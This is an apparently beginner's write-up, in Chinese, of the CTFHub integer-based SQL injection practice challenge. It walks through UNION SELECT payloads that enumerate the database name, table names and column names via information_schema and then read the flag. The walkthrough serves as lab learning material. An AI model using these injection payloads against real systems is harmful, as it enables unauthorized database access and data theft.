ctfhub SQL 整数型注入

SQL 整数型注入

题目
当输入值为1或2时有回显


当输入3时无回显

判断是否存在注入
加单引号
对应的id=3’ 这时sql语句出错，程序无法正常从数据库中查询出数据，无回显。
作为sql注入的小白，我决定不采用大佬们的方法，看不懂，先分享自己的方法，非常传统。
由以上得知有两个字段，所以第一步，爆库名；
'' union select 1,database() #
第二，爆表名；
'' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到news flag两个表名

第三，爆字段名；
'' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

最后一步，得到了表名、字段名，实用查询语句查看flag
'' union select 1,字段名 from 表名#
得到flag